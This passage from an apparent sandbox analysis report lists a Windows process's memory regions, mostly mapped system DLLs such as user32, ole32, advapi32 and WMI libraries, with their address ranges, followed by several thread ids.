	            name = "pagefile_0x0000000000740000"
	        filename = ""

Region:
	              id = 2931
	        start_va = 0x800000
	          end_va = 0x87ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000800000"
	        filename = ""

Region:
	              id = 2932
	        start_va = 0x890000
	          end_va = 0x90ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000890000"
	        filename = ""

Region:
	              id = 2933
	        start_va = 0x910000
	          end_va = 0xa0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000910000"
	        filename = ""

Region:
	              id = 2934
	        start_va = 0xa10000
	          end_va = 0xa8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000a10000"
	        filename = ""

Region:
	              id = 2935
	        start_va = 0xa90000
	          end_va = 0xb0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000a90000"
	        filename = ""

Region:
	              id = 2936
	        start_va = 0xb10000
	          end_va = 0xddefff
	     entry_point = 0xb10000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2937
	        start_va = 0xde0000
	          end_va = 0x11d2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000de0000"
	        filename = ""

Region:
	              id = 2938
	        start_va = 0x1220000
	          end_va = 0x129ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001220000"
	        filename = ""

Region:
	              id = 2939
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x77230000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2940
	        start_va = 0x7fef4a00000
	          end_va = 0x7fef4a15fff
	     entry_point = 0x7fef4a00000
	     region_type = mapped_file
	            name = "ncobjapi.dll"
	        filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll")

Region:
	              id = 2941
	        start_va = 0x7fef4f60000
	          end_va = 0x7fef4f6efff
	     entry_point = 0x7fef4f60000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 2942
	        start_va = 0x7fef4f70000
	          end_va = 0x7fef4f96fff
	     entry_point = 0x7fef4f70000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 2943
	        start_va = 0x7fef4fa0000
	          end_va = 0x7fef5081fff
	     entry_point = 0x7fef4fa0000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 2944
	        start_va = 0x7fef5210000
	          end_va = 0x7fef5295fff
	     entry_point = 0x7fef5210000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 2945
	        start_va = 0x7fefb310000
	          end_va = 0x7fefb33cfff
	     entry_point = 0x7fefb310000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 2946
	        start_va = 0x7fefc990000
	          end_va = 0x7fefc9d6fff
	     entry_point = 0x7fefc990000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2947
	        start_va = 0x7fefcc90000
	          end_va = 0x7fefcca6fff
	     entry_point = 0x7fefcc90000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2948
	        start_va = 0x7fefd290000
	          end_va = 0x7fefd29efff
	     entry_point = 0x7fefd290000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2949
	        start_va = 0x7fefd380000
	          end_va = 0x7fefd393fff
	     entry_point = 0x7fefd380000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2950
	        start_va = 0x7fefd8a0000
	          end_va = 0x7fefd976fff
	     entry_point = 0x7fefd8a0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2951
	        start_va = 0x7fefd980000
	          end_va = 0x7fefdb82fff
	     entry_point = 0x7fefd980000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2952
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdc98fff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2953
	        start_va = 0x7fefdca0000
	          end_va = 0x7fefdcbefff
	     entry_point = 0x7fefdca0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2954
	        start_va = 0x7fefed30000
	          end_va = 0x7fefee5cfff
	     entry_point = 0x7fefed30000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2955
	        start_va = 0x7fefee60000
	          end_va = 0x7fefee8dfff
	     entry_point = 0x7fefee60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2956
	        start_va = 0x7fefee90000
	          end_va = 0x7fefef58fff
	     entry_point = 0x7fefee90000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2957
	        start_va = 0x7fefef60000
	          end_va = 0x7fefeffefff
	     entry_point = 0x7fefef60000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2958
	        start_va = 0x7feff000000
	          end_va = 0x7feff051fff
	     entry_point = 0x7feff000000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 2959
	        start_va = 0x7feff440000
	          end_va = 0x7feff447fff
	     entry_point = 0x7feff440000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2960
	        start_va = 0x7feff470000
	          end_va = 0x7feff54afff
	     entry_point = 0x7feff470000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2961
	        start_va = 0x7feff5f0000
	          end_va = 0x7feff5fdfff
	     entry_point = 0x7feff5f0000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2962
	        start_va = 0x7feff600000
	          end_va = 0x7feff666fff
	     entry_point = 0x7feff600000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2963
	        start_va = 0x7feff670000
	          end_va = 0x7feff6bcfff
	     entry_point = 0x7feff670000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2964
	        start_va = 0x7feff6c0000
	          end_va = 0x7feff758fff
	     entry_point = 0x7feff6c0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2965
	        start_va = 0x7fffffd6000
	          end_va = 0x7fffffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd6000"
	        filename = ""

Region:
	              id = 2966
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""

Region:
	              id = 2967
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 2968
	        start_va = 0x1340000
	          end_va = 0x13bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001340000"
	        filename = ""

Region:
	              id = 2969
	        start_va = 0x1420000
	          end_va = 0x149ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001420000"
	        filename = ""

Region:
	              id = 2970
	        start_va = 0x1510000
	          end_va = 0x158ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001510000"
	        filename = ""

Region:
	              id = 2971
	        start_va = 0x7fef4b60000
	          end_va = 0x7fef4b85fff
	     entry_point = 0x7fef4b60000
	     region_type = mapped_file
	            name = "wmiutils.dll"
	        filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")

Region:
	              id = 2972
	        start_va = 0x7fef4c80000
	          end_va = 0x7fef4c93fff
	     entry_point = 0x7fef4c80000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 2973
	        start_va = 0x7fef8950000
	          end_va = 0x7fef898bfff
	     entry_point = 0x7fef8950000
	     region_type = mapped_file
	            name = "wmiprov.dll"
	        filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll")

Region:
	              id = 2974
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 2975
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2976
	        start_va = 0x7fffffd4000
	          end_va = 0x7fffffd5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd4000"
	        filename = ""


Thread:
	id = 281
	os_tid = 0x580


Thread:
	id = 282
	os_tid = 0x87c


Thread:
	id = 283
	os_tid = 0x8a0


Thread:
	id = 284
	os_tid = 0x5dc


Thread:
	id = 285
	os_tid = 0xa74


Thread:
	id = 286
	os_tid = 0xab8


Thread:
	id = 287
	os_tid = 0x278


Thread:
	id = 288
	os_tid = 0x358